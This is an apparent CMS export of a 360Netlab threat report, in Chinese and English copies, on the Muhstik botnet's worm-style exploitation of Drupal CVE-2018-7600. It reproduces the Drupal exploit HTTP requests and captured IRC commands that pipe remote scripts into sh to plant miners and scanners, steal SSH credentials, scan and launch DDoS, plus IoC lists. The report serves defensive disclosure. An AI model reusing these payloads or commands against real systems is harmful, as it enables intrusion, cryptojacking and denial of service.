STD 46.243.189.102 127 30 XXXX\n:TIMERS!tcl@localhost PRIVMSG #muhstik :!*|*|*3|* STD 46.243.189.102 127 30 XXXX\n:TIMERS!tcl@localhost PRIVMSG #muhstik :!*|*|*4|* STD 46.243.189.102 127 30 XXXX\n:TIMERS!tcl@localhost PRIVMSG #muhstik :!*|*|*5|* STD 46.243.189.102 127 30 XXXX\n:TIMERS!tcl@localhost PRIVMSG #muhstik :!*|*|*6|* STD 46.243.189.102 127 30 XXXX\n:TIMERS!tcl@localhost PRIVMSG #muhstik :!*|*|*7|* STD 46.243.189.102 127 30 XXXX\n:TIMERS!tcl@localhost PRIVMSG #muhstik :!*|*|*8|* STD 46.243.189.102 127 30 XXXX\n:TIMERS!tcl@localhost PRIVMSG #muhstik :!*|*|*9|* STD 46.243.189.102 127 30 XXXX\n```\n\n\\#muhstik-SSH #cgminer 挖矿程序的配置文件\n```\n:TIMERS!tcl@localhost PRIVMSG #muhstik-ssh :!* SH tail -n1 /usr/bin/compile_time | grep D3 && ( wget -qO - http://51.254.221.129/cgminer.x11.conf > /config/cgminer.conf && /etc/init.d/cgminer.sh restart ) > /dev/null 2>&1 &\n:TIMERS!tcl@localhost PRIVMSG #muhstik-ssh :!* SH tail -n1 /usr/bin/compile_time | grep L3 && ( wget -qO - http://51.254.221.129/cgminer.scrypt.conf > /config/cgminer.conf && /etc/init.d/cgminer.sh restart )> /dev/null 2>&1 &\n:TIMERS!tcl@localhost PRIVMSG #muhstik-ssh :!* SH tail -n1 /usr/bin/compile_time | grep S4 && (cgminer-api \"addpool|stratum+tcp://bch.viabtc.com:443,reborn.api,x\" && cgminer-api \"switchpool|3\" ) > /dev/null 2>&1 &\n:TIMERS!tcl@localhost PRIVMSG #muhstik-ssh :!* SH tail -n1 /usr/bin/compile_time | grep S5 && (cgminer-api \"addpool|stratum+tcp://bch.viabtc.com:443,reborn.api,x\" && cgminer-api \"switchpool|3\" ) > /dev/null 2>&1 &\n:TIMERS!tcl@localhost PRIVMSG #muhstik-ssh :!* SH tail -n1 /usr/bin/compile_time | grep S7 && ( wget -qO - http://51.254.221.129/cgminer.sha256.conf > /config/cgminer.conf && /etc/init.d/cgminer.sh restart) > /dev/null 2>&1 &\n```\n\n\\#muhstik-SSH #窃取本地保存的ssh凭证，进一步横向扩展，投递自身，实现蠕虫式传播\n```\n:m!m@null PRIVMSG #muhstik-ssh :!* SH wget -qO - http://121.127.216.91/multiply/wp-content/plugins/all-in-one-wp-migration/t6ssh | sh > /dev/null 2>&1 &\n```\n\n\n\n\\#muhstik-SSH #执行SSH扫描\n```\n:TIMERS!tcl@localhost PRIVMSG #muhstik-ssh :!* SSH 100 100 25 54.39.23.28 51.254.219.137\n:TIMERS!tcl@localhost PRIVMSG #muhstik-ssh :!* SSH 101 100 25 54.39.23.28 51.254.219.137\n:TIMERS!tcl@localhost PRIVMSG #muhstik-ssh :!* SSH 102 100 25 54.39.23.28 51.254.219.137\n:TIMERS!tcl@localhost PRIVMSG #muhstik-ssh :!* SSH 103 100 25 54.39.23.28 51.254.219.137\n:TIMERS!tcl@localhost PRIVMSG #muhstik-ssh :!* SSH 104 100 25 54.39.23.28 51.254.219.137\n:TIMERS!tcl@localhost PRIVMSG #muhstik-ssh :!* SSH 106 100 25 54.39.23.28 51.254.219.137\n:TIMERS!tcl@localhost PRIVMSG #muhstik-ssh :!* SSH 107 100 25 54.39.23.28 51.254.219.137\n:TIMERS!tcl@localhost PRIVMSG #muhstik-ssh :!* SSH 108 100 25 54.39.23.28 51.254.219.137\n:TIMERS!tcl@localhost PRIVMSG #muhstik-ssh :!* SSH 110 100 25 54.39.23.28 51.254.219.137\n:TIMERS!tcl@localhost PRIVMSG #muhstik-ssh :!* SSH 111 100 25 54.39.23.28 51.254.219.137\n:TIMERS!tcl@localhost PRIVMSG #muhstik-ssh :!* SSH 112 100 25 54.39.23.28 51.254.219.137\n:TIMERS!tcl@localhost PRIVMSG #muhstik-ssh :!* SSH 113 100 25 54.39.23.28 51.254.219.137\n:TIMERS!tcl@localhost PRIVMSG #muhstik-ssh :!* SSH 114 100 25 54.39.23.28 51.254.219.137\n:TIMERS!tcl@localhost PRIVMSG #muhstik-ssh :!* SSH 118 100 25 54.39.23.28 51.254.219.137\n:TIMERS!tcl@localhost PRIVMSG #muhstik-ssh :!* SSH 119 100 25 54.39.23.28 51.254.219.137\n```\n\n\\#muhstik-i586 #植入 Muhstik.aioscan\n```\n:TIMERS!tcl@localhost PRIVMSG #muhstik-i586 :!i* SH (wget -c http://191.238.234.227/x/aioi586 -O /tmp/aioi586 ; chmod +x /tmp/aioi586) > /dev/null 2>&1 &\n:TIMERS!tcl@localhost PRIVMSG #muhstik-i586 :!i* SH /tmp/aioi586 amazon > /dev/null 2>&1 &\n:TIMERS!tcl@localhost PRIVMSG #muhstik-i586 :!i* SH /tmp/aioi586 dedi > /dev/null 2>&1 &\n```\n\n\\#muhstik-i586 #植入xmrig32挖矿程序\n```\n:TIMERS!tcl@localhost PRIVMSG #muhstik-i586 :!* SH wget -qO - http://104.236.26.43/xmrt32.sh | sh > /dev/null 2>&1 &\n:TIMERS!tcl@localhost PRIVMSG #muhstik-i586 :!* SH curl http://104.236.26.43/xmrt32.sh | sh > /dev/null 2>&1 &\n```\n\n#### Muhstik 可能来源已久\n\n通过对 Muhstik 相关域名的历史溯源，我们发现 Muhstik 由来已久，跟以下域名有较为强烈的关联关系。\n```\ndasan.deutschland-zahlung.eu\n134.ip-51-254-219.eu\nuranus.kei.su\nwireless.kei.su\nwww.kei.su\ny.fd6fq54s6df541q23sdxfg.eu\n```\n\n\n#### IoC\nMuhstik C2 List\n```\n139.99.101.96:9090\tAS16276 OVH SAS\t\n144.217.84.99:9090\tAS16276 OVH SAS\t\n145.239.84.0:9090\tAS16276 OVH SAS\t\n147.135.210.184:9090\tAS16276 OVH SAS\t\n142.44.163.168:9090\tAS16276 OVH SAS\t\n192.99.71.250:9090\tAS16276 OVH SAS\t\n142.44.240.14:9090\tAS16276 OVH SAS\t\n121.128.171.44:9090\tAS4766 Korea Telecom\t#当前未生效 \n66.70.190.236:9090\tAS16276 OVH SAS\t#当前未生效 \n145.239.93.125:9090\tAS16276 OVH SAS\t\nirc.de-zahlung.eu:9090\t\t#当前未生效 \n```\n\nMuhstik Malware URL\n```\nhxxp://51.254.221.129/c/cron\nhxxp://51.254.221.129/c/tfti\nhxxp://51.254.221.129/c/pftp\nhxxp://51.254.221.129/c/ntpd\nhxxp://51.254.221.129/c/sshd\nhxxp://51.254.221.129/c/bash\nhxxp://51.254.221.129/c/pty\nhxxp://51.254.221.129/c/shy\nhxxp://51.254.221.129/c/nsshtfti\nhxxp://51.254.221.129/c/nsshcron\nhxxp://51.254.221.129/c/nsshpftp\nhxxp://51.254.221.129/c/fbsd\nhxxp://191.238.234.227/x/aiox86\n```\n\nMuhstik Malware MD5\n```\nc37016e34304ff4a2a0db1894cdcdb92 #Muhstik样本模块\nda17dc1438bb039968a5737c6fbc88cd #Muhstik扫描模块\n```"}]],"markups":[],"sections":[[10,0]],"ghostVersion":"3.0"}

114

post

2018-04-20T07:46:44.000Z

63873b9a8b1c1e0007f52f22

botnet-muhstik-is-actively-exploiting-drupal-cve-2018-7600-in-a-worm-style-en

2022-02-09T07:14:25.000Z

public

published

2018-04-20T09:27:45.000Z

Botnet Muhstik is Actively Exploiting Drupal CVE-2018-7600 in a Worm Style

<!--kg-card-begin: markdown--><p>On March 28, 2018, drupal released a patch for CVE-2018-7600. Drupal is an open-source content management system written in PHP, quite popular in many sites to provide web service. This vulnerability exists in multiple drupal versions, which may be exploited by an attacker to take full control of the target.</p> <p>Starting from April 13, 2018, 360Netlab observed a large number of scans on the internet against this vulnerability. At the first analysis, we believe that at least 3 groups of malware campaigns are exploiting.</p> <p>We noticed one of them has worm-propagation behavior. After investigation, we believe this botnet has been active for quit a time. We name it muhstik, for this key word keeps popup in its binary file name and the communication IRC channel.</p> <p>Muhstik is worthy of community's attention for following characteristics:</p> <ul> <li>Worm Propagation</li> <li>Long standing</li> <li>Use 7 exploits</li> <li>Use xmrig, cgminer and DDoS for profit</li> </ul> <h4 id="attackpayload">Attack Payload</h4> <p>Muhstik uses the following two sets of attack payloads, which contributes around 80% of all the payloads we saw:</p> <ul> <li> <h1 id="1activefrom20180414033306to20180417154058">1 : Active from 2018-04-14 03:33:06 to 2018-04-17 15:40:58</h1> </li> <li> <h1 id="2activefrom20180416193839tillnow">2 : Active from 2018-04-16 19:38:39 till now</h1> </li> </ul> <p>The source IP addresses delivering these payloads are very dispersed, with most of them hosting Drupal services. This is an indicator of worm, which arouses our vigilance.</p> <p>Details of payload #1</p> <pre><code>POST /user/register?element_parents=account/mail/%23value&amp;ajax_form=1&amp;_wrapper_format=drupal_ajax HTTP/1.1 Cache-Control: no-cache Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) Host: {target} Content-Type: application/x-www-form-urlencoded Content-length: 2048 form_id=user_register_form&amp;_drupal_ajax=1&amp;mail[#post_render[]=exec&amp;mail[#type]=markup&amp;mail[#markup]=echo &quot;team6 representing 73de29021fd0d8d2cfd204d2d955a46d&quot;|tee t6nv </code></pre> <p>Details of payload #2</p> <pre><code>POST /user/register?element_parents=account/mail/%23value&amp;ajax_form=1&amp;_wrapper_format=drupal_ajax HTTP/1.1 Cache-Control: no-cache Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) Host: {target} Content-Type: application/x-www-form-urlencoded Content-length: 170 form_id=user_register_form&amp;_drupal_ajax=1&amp;mail%5B%23post_render%5D%5B%5D=exec&amp;mail%5B%23type%5D=markup&amp;mail%5B%23markup%5D=wget%20http%3A%2F%2F51.254.219.134%2Fdrupal.php </code></pre> <h4 id="sampleaiox86deliversattackpayload2">Sample aiox86 Delivers Attack Payload #2</h4> <p>Here is the key sample:</p> <pre><code>da17dc1438bb039968a5737c6fbc88cd aiox86 </code></pre> <p>We believe that the above two attack payloads are delivered by this sample and related ones:</p> <ul> <li>attack payload #2 is embedded in aiox86, shown in the following figure</li> <li>attack payload #1 is similar to #2, thus should be launched by other related samples</li> </ul> <p>Below is part of the samples, same to payload #2.<br> <img src="__GHOST_URL__/content/images/2018/04/drupal-payload-inside-aiox86.png" alt="" loading="lazy"></p> <p>Apart from drupal exploit, the aiox86 scanning module is quite complicated:</p> <ul> <li><strong>Target IP</strong>: Acquired from remote server 191.238.234.227. The attacker can control the scanning targets flexibly in this way</li> <li><strong>Exploit payloads</strong>: Contains 6 other exploit payloads apart from drupal</li> <li><strong>Target Ports</strong>: Scans TCP port 80, 8080, 7001, 2004, and tries varieties of different payloads on each port.</li> <li><strong>Scan report</strong>: Once successfully exploited, the payloads will report to 51.254.219.134. Different payloads will report to different URL, so the attacker can identify victims' vulnerabilities easily.</li> </ul> <p>Acquire scanning target IP:</p> <pre><code>hxxp://191.238.234.227/amazon.php #We try to get 50 network cidr from this URL, all of them belongs to Amazon hxxp://191.238.234.227/dedi.php #We try to get 50 network cidr from this URL, the owners company are dispersed </code></pre> <p>Delivered exploit payloads:</p> <pre><code>ClipBucket：rss.php DasanNetwork Solution：/cgi-bin/index.cgi Drupal:CVE-2018-7600 WebDav Weblogic:CVE-2017-10271 Webuzo:install.php Wordpress:install.php </code></pre> <p>Mapping between target ports and exploit payloads:</p> <pre><code>80：Weblogic，Wordpress，Drupal，WebDav，ClipBucket 2004：Webuzo 7001：Weblogic 8080：Wordpress，WebDav，DasanNetwork Solution </code></pre> <p>Reporting URL:</p> <pre><code>hxxp://51.254.219.134/clipbucket.php #ClipBucket hxxp://51.254.219.134/dasan.php #DasanNetwork_Solution hxxp://51.254.219.134/dav.php #Webdav hxxp://51.254.219.134/drupal.php #Drupal hxxp://51.254.219.134/oracleaudit.php?port= #Weblogic hxxp://51.254.219.134/tomato.php #http401 for intermediate test hxxp://51.254.219.134/webuzo.php #Webuzo hxxp://51.254.219.134/wp.php #Wordpress </code></pre> <h4 id="sampleaiox86isdeliveredbymuhstikbotnet">Sample aiox86 is Delivered by Muhstik Botnet</h4> <p>360Netlab has been monitoring many botnets and tracking their attack commands.<br> We observe that Muhstik botnet C&amp;C server 139.99.101.96:9090 launched commands to deliver aiox86 around 2018-04-19 04:04.</p> <p><img src="__GHOST_URL__/content/images/2018/04/aiox86-released-by-139.99.101.96-a-muhstik-c2.png" alt="" loading="lazy"></p> <h4 id="muhstikbotnetfamily">Muhstik Botnet Family</h4> <p>Muhstik is a variant of the Tsunami botnet. Its features include:</p> <ul> <li>Representative sample: c37016e34304ff4a2a0db1894cdcdb92</li> <li>C2 server: 11 domains/IPs, all using port 9090. Maybe load balanced</li> <li>Communication protocol: Based on the IRC protocol, sending different instructions via different channels</li> <li>IRC Channels: We observed multiple IRC Channels, all starting with &quot;muhstik&quot;. At present, we can not confirm which specific channels are open on which C2 server. This is due to the characteristics of the IRC protocol itself. Only when we receive a communication instruction from the corresponding channel can we confirm its present.</li> </ul> <p>The structure of the Muhstik botnet is quite complicated. As mentioned earlier, 11 C2 domains/IPs are hard-coded in the sample. In addition, it has many ways to propagate and monetize.</p> <p>Muhstik propagation modules:</p> <ul> <li>aioscan scanning module: As mentioned above, the scanning module contains 7 scanning payloads on 4 ports</li> <li>SSH scanning module: weak password scanning</li> </ul> <p>Muhstik monetization methods:</p> <ul> <li>xmrig mining: Digging XMR cryptocurrency coins with a self-built mining pool 47.135.208.145:4871</li> <li>cgminer minig: Digging BTC cryptocurrency coins, using multiple mining pools, all with username reb0rn.D3</li> <li>DDoS attack: During 2018-04-19 07:20~07:40, we have intercepted multiple DDoS attack instructions targeting 46.243.189.102. (We did not see this attack on our DDoSMon.net, but we did see many earlier attacks against this IP)</li> </ul> <p>Muhstik cgminer wallet and mining pool address:</p> <pre><code> { &quot;url&quot;: &quot;stratum+tcp://dash.viabtc.com:443&quot;, &quot;user&quot;: &quot;reb0rn.D3&quot;, &quot;pass&quot;: &quot;x&quot; }, { &quot;url&quot;: &quot;stratum+tcp://dash.viabtc.com:443&quot;, &quot;user&quot;: &quot;reb0rn.D3&quot;, &quot;pass&quot;: &quot;x&quot; }, { &quot;url&quot;: &quot;stratum+tcp://dash.viabtc.com:443&quot;, &quot;user&quot;: &quot;reb0rn.D3&quot;, &quot;pass&quot;: &quot;x&quot; } </code></pre> <p>Muhstik C2 list, sample hard-code ordered</p> <pre><code>139.99.101.96:9090 AS16276 OVH SAS 144.217.84.99:9090 AS16276 OVH SAS 145.239.84.0:9090 AS16276 OVH SAS 147.135.210.184:9090 AS16276 OVH SAS 142.44.163.168:9090 AS16276 OVH SAS 192.99.71.250:9090 AS16276 OVH SAS 142.44.240.14:9090 AS16276 OVH SAS 121.128.171.44:9090 AS4766 Korea Telecom #Not active now 66.70.190.236:9090 AS16276 OVH SAS #Not active now 145.239.93.125:9090 AS16276 OVH SAS irc.de-zahlung.eu:9090 #Not active now </code></pre> <p>IRC Channel, alphabetical ordered</p> <pre><code>#muhstik #muhstik-i586 #muhstik-SSH #muhstik-x86 </code></pre> <p>A number of botnet instructions were captured when we monitoring these IRC Channels. We list part of them here, with details as follows:</p> <pre><code>#muhstik-x86 # implant xmrig64 miner program #muhstik-x86 # implant muhstik.aioscan scan module #muhstik-x86 # check if bot has drupal presence #muhstik # implant muhstik.aioscan scan module #muhstik # DDoS attack command #muhstik-SSH # update cgminer miner configurations #muhstik-SSH # perform SSH scanning #muhstik-SSH # stealing local ssh credentials, further horizontal expansion, delivering itself. worm propagation #muhstik-i586 # implant muhstik.aioscan scan module #muhstik-i586 # implant xmrig32 miner program </code></pre> <p>#muhstik-x86 # implant xmrig64 miner program</p> <pre><code>:TIMERS!tcl@localhost PRIVMSG #muhstik-x86 :!* SH curl http://104.236.26.43/muhstik.sh | sh &gt; /dev/null 2&gt;&amp;1 &amp; :TIMERS!tcl@localhost PRIVMSG #muhstik-x86 :!* SH wget -qO - http://104.236.26.43/muhstik.sh | sh &gt; /dev/null 2&gt;&amp;1 &amp; </code></pre> <p>#muhstik-x86 # implant muhstik.aioscan scan module</p> <pre><code>:TIMERS!tcl@localhost PRIVMSG #muhstik-x86 :!x* SH (wget -c http://191.238.234.227/x/aiox86 -O /tmp/aiox86 ; chmod +x /tmp/aiox86) &gt; /dev/null 2&gt;&amp;1 :TIMERS!tcl@localhost PRIVMSG #muhstik-x86 :!x* SH /tmp/aiox86 amazon &gt; /dev/null 2&gt;&amp;1 &amp; :TIMERS!tcl@localhost PRIVMSG #muhstik-x86 :!x* SH /tmp/aiox86 dedi &gt; /dev/null 2&gt;&amp;1 &amp; </code></pre> <p>#muhstik-x86 # check if bot has drupal present</p> <pre><code>:m!m@null PRIVMSG #muhstik-x86 :!* SH (wc -l autoload.php &amp;&amp; echo $(hostname -I | cut -d&quot; &quot; -f 1)) :m!m@null PRIVMSG #muhstik-x86 :!* SH (wc -l autoload.php &amp;&amp; echo $(hostname -I | cut -d&quot; &quot; -f 1)) || echo &quot;No drupal&quot; :m!m@null PRIVMSG #muhstik-x86 :!* SH (wc -l autoload.php | grep 17 &amp;&amp; echo $(hostname -I | cut -d&quot; &quot; -f 1)) :m!m@null PRIVMSG #muhstik-x86 :(wc -l autoload.php &amp;&amp; echo $(hostname -I | cut -d&quot; &quot; -f 1)) || echo &quot;No drupal&quot; </code></pre> <p>#muhstik # implant muhstik.aioscan scan module</p> <pre><code>:TIMERS!tcl@localhost PRIVMSG #muhstik :!A* SH /tmp/aioarm amazon &gt; /dev/null 2&gt;&amp;1 &amp; :TIMERS!tcl@localhost PRIVMSG #muhstik :!A* SH /tmp/aioarm dedi &gt; /dev/null 2&gt;&amp;1 &amp; :TIMERS!tcl@localhost PRIVMSG #muhstik :!A* SH (wget -c http://191.238.234.227/x/aioarm -O /tmp/aioarm ; chmod +x /tmp/aioarm) &gt; /dev/null 2&gt;&amp;1 &amp; :TIMERS!tcl@localhost PRIVMSG #muhstik :!Mps|* SH /tmp/aiomipsel amazon &gt; /dev/null 2&gt;&amp;1 &amp; :TIMERS!tcl@localhost PRIVMSG #muhstik :!Mps|* SH /tmp/aiomipsel dedi &gt; /dev/null 2&gt;&amp;1 &amp; :TIMERS!tcl@localhost PRIVMSG #muhstik :!Mps|* SH (wget -c http://191.238.234.227/x/aiomipsel -O /tmp/aiomipsel ; chmod +x /tmp/aiomipsel) &gt; /dev/null 2&gt;&amp;1 &amp; :TIMERS!tcl@localhost PRIVMSG #muhstik :!M|* SH /tmp/aiomips amazon &gt; /dev/null 2&gt;&amp;1 &amp; :TIMERS!tcl@localhost PRIVMSG #muhstik :!M|* SH /tmp/aiomips dedi &gt; /dev/null 2&gt;&amp;1 &amp; :TIMERS!tcl@localhost PRIVMSG #muhstik :!M|* SH (wget -c http://191.238.234.227/x/aiomips -O /tmp/aiomips ; chmod +x /tmp/aiomips) &gt; /dev/null 2&gt;&amp;1 &amp; :TIMERS!tcl@localhost PRIVMSG #muhstik :!PPC|* SH /tmp/aioppc amazon &gt; /dev/null 2&gt;&amp;1 &amp; :TIMERS!tcl@localhost PRIVMSG #muhstik :!PPC|* SH /tmp/aioppc dedi &gt; /dev/null 2&gt;&amp;1 &amp; :TIMERS!tcl@localhost PRIVMSG #muhstik :!PPC|* SH (wget -c http://191.238.234.227/x/aioppc -O /tmp/aioppc ; chmod +x /tmp/aioppc) &gt; /dev/null 2&gt;&amp;1 &amp; </code></pre> <p>#muhstik # DDoS attack command</p> <pre><code>:m!m@null PRIVMSG #muhstik :!* STD 46.243.189.102 127 60 XXXXXXXXX :TIMERS!tcl@localhost PRIVMSG #muhstik :!*|*|*0|* STD 46.243.189.102 127 30 XXXX :TIMERS!tcl@localhost PRIVMSG #muhstik :!*|*|*1|* STD 46.243.189.102 127 30 XXXX :TIMERS!tcl@localhost PRIVMSG #muhstik :!*|*|*2|* STD 46.243.189.102 127 30 XXXX :TIMERS!tcl@localhost PRIVMSG #muhstik :!*|*|*3|* STD 46.243.189.102 127 30 XXXX :TIMERS!tcl@localhost PRIVMSG #muhstik :!*|*|*4|* STD 46.243.189.102 127 30 XXXX :TIMERS!tcl@localhost PRIVMSG #muhstik :!*|*|*5|* STD 46.243.189.102 127 30 XXXX :TIMERS!tcl@localhost PRIVMSG #muhstik :!*|*|*6|* STD 46.243.189.102 127 30 XXXX :TIMERS!tcl@localhost PRIVMSG #muhstik :!*|*|*7|* STD 46.243.189.102 127 30 XXXX :TIMERS!tcl@localhost PRIVMSG #muhstik :!*|*|*8|* STD 46.243.189.102 127 30 XXXX :TIMERS!tcl@localhost PRIVMSG #muhstik :!*|*|*9|* STD 46.243.189.102 127 30 XXXX </code></pre> <p>#muhstik-SSH # update cgminer miner configurations</p> <pre><code>:TIMERS!tcl@localhost PRIVMSG #muhstik-ssh :!* SH tail -n1 /usr/bin/compile_time | grep D3 &amp;&amp; ( wget -qO - http://51.254.221.129/cgminer.x11.conf &gt; /config/cgminer.conf &amp;&amp; /etc/init.d/cgminer.sh restart ) &gt; /dev/null 2&gt;&amp;1 &amp; :TIMERS!tcl@localhost PRIVMSG #muhstik-ssh :!* SH tail -n1 /usr/bin/compile_time | grep L3 &amp;&amp; ( wget -qO - http://51.254.221.129/cgminer.scrypt.conf &gt; /config/cgminer.conf &amp;&amp; /etc/init.d/cgminer.sh restart )&gt; /dev/null 2&gt;&amp;1 &amp; :TIMERS!tcl@localhost PRIVMSG #muhstik-ssh :!* SH tail -n1 /usr/bin/compile_time | grep S4 &amp;&amp; (cgminer-api &quot;addpool|stratum+tcp://bch.viabtc.com:443,reborn.api,x&quot; &amp;&amp; cgminer-api &quot;switchpool|3&quot; ) &gt; /dev/null 2&gt;&amp;1 &amp; :TIMERS!tcl@localhost PRIVMSG #muhstik-ssh :!* SH tail -n1 /usr/bin/compile_time | grep S5 &amp;&amp; (cgminer-api &quot;addpool|stratum+tcp://bch.viabtc.com:443,reborn.api,x&quot; &amp;&amp; cgminer-api &quot;switchpool|3&quot; ) &gt; /dev/null 2&gt;&amp;1 &amp; :TIMERS!tcl@localhost PRIVMSG #muhstik-ssh :!* SH tail -n1 /usr/bin/compile_time | grep S7 &amp;&amp; ( wget -qO - http://51.254.221.129/cgminer.sha256.conf &gt; /config/cgminer.conf &amp;&amp; /etc/init.d/cgminer.sh restart) &gt; /dev/null 2&gt;&amp;1 &amp; </code></pre> <p>#muhstik-SSH # stealing local ssh credentials, further horizontal expansion, delivering itself. Worm propagation</p> <pre><code>:m!m@null PRIVMSG #muhstik-ssh :!* SH wget -qO - http://121.127.216.91/multiply/wp-content/plugins/all-in-one-wp-migration/t6ssh | sh &gt; /dev/null 2&gt;&amp;1 &amp; </code></pre> <p>#muhstik-SSH #perform SSH scanning</p> <pre><code>:TIMERS!tcl@localhost PRIVMSG #muhstik-ssh :!* SSH 100 100 25 54.39.23.28 51.254.219.137 :TIMERS!tcl@localhost PRIVMSG #muhstik-ssh :!* SSH 101 100 25 54.39.23.28 51.254.219.137 :TIMERS!tcl@localhost PRIVMSG #muhstik-ssh :!* SSH 102 100 25 54.39.23.28 51.254.219.137 :TIMERS!tcl@localhost PRIVMSG #muhstik-ssh :!* SSH 103 100 25 54.39.23.28 51.254.219.137 :TIMERS!tcl@localhost PRIVMSG #muhstik-ssh :!* SSH 104 100 25 54.39.23.28 51.254.219.137 :TIMERS!tcl@localhost PRIVMSG #muhstik-ssh :!* SSH 106 100 25 54.39.23.28 51.254.219.137 :TIMERS!tcl@localhost PRIVMSG #muhstik-ssh :!* SSH 107 100 25 54.39.23.28 51.254.219.137 :TIMERS!tcl@localhost PRIVMSG #muhstik-ssh :!* SSH 108 100 25 54.39.23.28 51.254.219.137 :TIMERS!tcl@localhost PRIVMSG #muhstik-ssh :!* SSH 110 100 25 54.39.23.28 51.254.219.137 :TIMERS!tcl@localhost PRIVMSG #muhstik-ssh :!* SSH 111 100 25 54.39.23.28 51.254.219.137 :TIMERS!tcl@localhost PRIVMSG #muhstik-ssh :!* SSH 112 100 25 54.39.23.28 51.254.219.137 :TIMERS!tcl@localhost PRIVMSG #muhstik-ssh :!* SSH 113 100 25 54.39.23.28 51.254.219.137 :TIMERS!tcl@localhost PRIVMSG #muhstik-ssh :!* SSH 114 100 25 54.39.23.28 51.254.219.137 :TIMERS!tcl@localhost PRIVMSG #muhstik-ssh :!* SSH 118 100 25 54.39.23.28 51.254.219.137 :TIMERS!tcl@localhost PRIVMSG #muhstik-ssh :!* SSH 119 100 25 54.39.23.28 51.254.219.137 </code></pre> <p>#muhstik-i586 # implant muhstik.aioscan scan module</p> <pre><code>:TIMERS!tcl@localhost PRIVMSG #muhstik-i586 :!i* SH (wget -c http://191.238.234.227/x/aioi586 -O /tmp/aioi586 ; chmod +x /tmp/aioi586) &gt; /dev/null 2&gt;&amp;1 &amp; :TIMERS!tcl@localhost PRIVMSG #muhstik-i586 :!i* SH /tmp/aioi586 amazon &gt; /dev/null 2&gt;&amp;1 &amp; :TIMERS!tcl@localhost PRIVMSG #muhstik-i586 :!i* SH /tmp/aioi586 dedi &gt; /dev/null 2&gt;&amp;1 &amp; </code></pre> <p>#muhstik-i586 #implant xmrig32 miner program</p> <pre><code>:TIMERS!tcl@localhost PRIVMSG #muhstik-i586 :!* SH wget -qO - http://104.236.26.43/xmrt32.sh | sh &gt; /dev/null 2&gt;&amp;1 &amp; :TIMERS!tcl@localhost PRIVMSG #muhstik-i586 :!* SH curl http://104.236.26.43/xmrt32.sh | sh &gt; /dev/null 2&gt;&amp;1 &amp; </code></pre> <h4 id="muhstikmayhasalonghistory">Muhstik May Has a Long History</h4> <p>When tracing back, we found the following domain names are related to muhstik. These domain names has a longer history back to 2016.</p> <pre><code>dasan.deutschland-zahlung.eu 134.ip-51-254-219.eu uranus.kei.su wireless.kei.su www.kei.su y.fd6fq54s6df541q23sdxfg.eu </code></pre> <p>We will continue to monitor this activity, if readers have new discoveries, feel free to contact us on our <a href="https://twitter.com/360Netlab"><strong>twitter</strong></a>.</p> <h4 id="ioc">IoC</h4> <p>Muhstik C2 List</p> <pre><code>139.99.101.96:9090 AS16276 OVH SAS 144.217.84.99:9090 AS16276 OVH SAS 145.239.84.0:9090 AS16276 OVH SAS 147.135.210.184:9090 AS16276 OVH SAS 142.44.163.168:9090 AS16276 OVH SAS 192.99.71.250:9090 AS16276 OVH SAS 142.44.240.14:9090 AS16276 OVH SAS 121.128.171.44:9090 AS4766 Korea Telecom #Not active now 66.70.190.236:9090 AS16276 OVH SAS #Not active now 145.239.93.125:9090 AS16276 OVH SAS irc.de-zahlung.eu:9090 #Not active now </code></pre> <p>Muhstik Malware URL</p> <pre><code>hxxp://51.254.221.129/c/cron hxxp://51.254.221.129/c/tfti hxxp://51.254.221.129/c/pftp hxxp://51.254.221.129/c/ntpd hxxp://51.254.221.129/c/sshd hxxp://51.254.221.129/c/bash hxxp://51.254.221.129/c/pty hxxp://51.254.221.129/c/shy hxxp://51.254.221.129/c/nsshtfti hxxp://51.254.221.129/c/nsshcron hxxp://51.254.221.129/c/nsshpftp hxxp://51.254.221.129/c/fbsd hxxp://191.238.234.227/x/aiox86 </code></pre> <p>Muhstik Self-built Mining Pool</p> <pre><code>47.135.208.145:4871 </code></pre> <p>Muhstik Malware MD5</p> <pre><code>c37016e34304ff4a2a0db1894cdcdb92 #main sample da17dc1438bb039968a5737c6fbc88cd #scanning module </code></pre> <!--kg-card-end: markdown-->

On March 28, 2018, drupal released a patch for CVE-2018-7600. Drupal is an open-source content management system written in PHP, quite popular in many sites to provide web service. This vulnerability exists in multiple drupal versions, which may be exploited by an attacker to take full control of the target. Starting from April 13, 2018, 360Netlab observed a large number of scans on the internet against this vulnerability. At the first analysis, we believe that at least 3 groups of malware campaigns are exploiting. We noticed one of them has worm-propagation behavior. After investigation, we believe this botnet has been active for quit a time. We name it muhstik, for this key word keeps popup in its binary file name and the communication IRC channel. Muhstik is worthy of community's attention for following characteristics: * Worm Propagation * Long standing * Use 7 exploits * Use xmrig, cgminer and DDoS for profit Attack Payload Muhstik uses the following two sets of attack payloads, which contributes around 80% of all the payloads we saw: * 1 : Active from 2018-04-14 03:33:06 to 2018-04-17 15:40:58 * 2 : Active from 2018-04-16 19:38:39 till now The source IP addresses delivering these payloads are very dispersed, with most of them hosting Drupal services. This is an indicator of worm, which arouses our vigilance. Details of payload #1 POST /user/register?element_parents=account/mail/%23value&ajax_form=1&_wrapper_format=drupal_ajax HTTP/1.1 Cache-Control: no-cache Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) Host: {target} Content-Type: application/x-www-form-urlencoded Content-length: 2048 form_id=user_register_form&_drupal_ajax=1&mail[#post_render[]=exec&mail[#type]=markup&mail[#markup]=echo "team6 representing 73de29021fd0d8d2cfd204d2d955a46d"|tee t6nv Details of payload #2 POST /user/register?element_parents=account/mail/%23value&ajax_form=1&_wrapper_format=drupal_ajax HTTP/1.1 Cache-Control: no-cache Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) Host: {target} Content-Type: application/x-www-form-urlencoded Content-length: 170 form_id=user_register_form&_drupal_ajax=1&mail%5B%23post_render%5D%5B%5D=exec&mail%5B%23type%5D=markup&mail%5B%23markup%5D=wget%20http%3A%2F%2F51.254.219.134%2Fdrupal.php Sample aiox86 Delivers Attack Payload #2 Here is the key sample: da17dc1438bb039968a5737c6fbc88cd aiox86 We believe that the above two attack payloads are delivered by this sample and related ones: * attack payload #2 is embedded in aiox86, shown in the following figure * attack payload #1 is similar to #2, thus should be launched by other related samples Below is part of the samples, same to payload #2. Apart from drupal exploit, the aiox86 scanning module is quite complicated: * Target IP: Acquired from remote server 191.238.234.227. The attacker can control the scanning targets flexibly in this way * Exploit payloads: Contains 6 other 